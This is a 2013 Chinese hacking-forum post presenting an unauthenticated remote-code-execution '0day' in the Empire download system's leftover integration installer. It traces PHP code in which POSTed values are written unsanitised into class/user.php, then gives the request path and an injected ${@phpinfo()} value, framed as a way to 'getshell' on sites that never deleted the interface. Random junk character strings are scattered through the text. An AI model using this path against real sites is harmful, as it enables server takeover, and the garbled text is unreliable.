找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2310|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们, J: G8 \% S; W

1 ~* T8 m# p6 s


7 e& @+ u1 }# J6 [; ^' ]6 j9 m7 z这是帝国的一套下载系统 如图& }9 ~; y. g5 g8 o
ps(不需要任何账户和密码,直接写shell)


8 V5 ]$ q7 _1 v" Y

由于很多站是由于下载要整合discuz 等等一些论坛....8 G5 G4 i+ |% B


# \7 z! T. p0 H8 `# }0 u5 z" k# r

而帝国他又有一个万能接口,如图

* y/ H; \( X; U3 a2 h3 [

" V* \+ d: B3 ~9 N0 a
* B$ k; e6 I" A6 t

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码( ^! K* \4 A$ y# l4 h6 z) c- b
- b+ r: C1 l4 _4 o: j6 s
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪! ^! i! g# C2 P* A" E
# @) U/ x3 ^2 C& n6 w  N8 S$ ^" |
在data/fun.php中的15行% |/ j; y& Z- U# `) y& O

# m3 X- J9 b2 ]  ]* @; @+ l我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
  R6 X% @$ |% z; t3 a2 W8 D
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
1 @7 @0 A& l1 {& D; {" J8 W  b( O7 K! F9 q. C2 O( Q3 P
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);9 ]& x( c$ e, X# [4 e

0 F, i* u$ A5 r. W% n他将传进来的变量进行了切割,然后赋给了$filetext' Z+ M+ M( n# N" P" n
' T# n" j1 Y+ v. h: i8 k% {7 d0 T
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
5 g/ x+ X4 H( ]/ X6 ^7 R/ V7 U' l3 D. q9 J! A5 v
我们看看写入的结果,随便填一个

, Z. P/ ^7 E* e8 Q
( _2 x8 Z: c4 ^

- [4 A. a7 j/ t0 m3 {3 q& T  P1 |; ^6 L
8 Y( `/ F5 h' Y6 Z
& D5 Y% B; d; y& M; G% E

/ l+ |1 F: t2 Z0 ~7 j; H

7 }8 p# U3 `+ F% m) g" k+ h$ x

& I$ u5 Q/ N! ?( ^
  ]4 t6 L6 o9 M% n

" E- u& m1 l) a( J9 a8 j5 u. q
: X5 _4 d3 J. G+ r/ h1 H/ T' r
: m6 A/ Z0 M, `0 C) O
. q  D* V( \) m+ J; _+ v
9 `" r  Z. f( I7 P
% q$ {3 A: T8 G: D4 L& l; q
  S2 i3 X+ D  }$ f( l) k

; t# R3 o) `2 I6 V
' c/ x% e+ Z) U2 T& G' k! q& |$ O6 b& P1 P! W' v" `3 I
/ u) @' k- @) `& H: Y/ t  M
' U0 z" k7 y. ?5 n- D

所以我们淫荡点,写个${@phpinfo()}试试

1 Q/ e' d4 y' I# z7 `# P2 o8 ]9 L; W

然后访问以下class/user.php这个文件- S/ Y/ _4 R4 D) w: M* p0 {
日了吧

$ S7 K! n0 J8 z2 N' t9 m0 u! j
- E# |8 |2 f% Q
0 l  S! S' h, s! T! S$ O) `0 W5 ^* ?9 [

4 a, O% Z& O( }9 G1 `& R

, o% T  s; Z8 o, x

0 E1 A$ e: C/ X/ l  I2 G

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表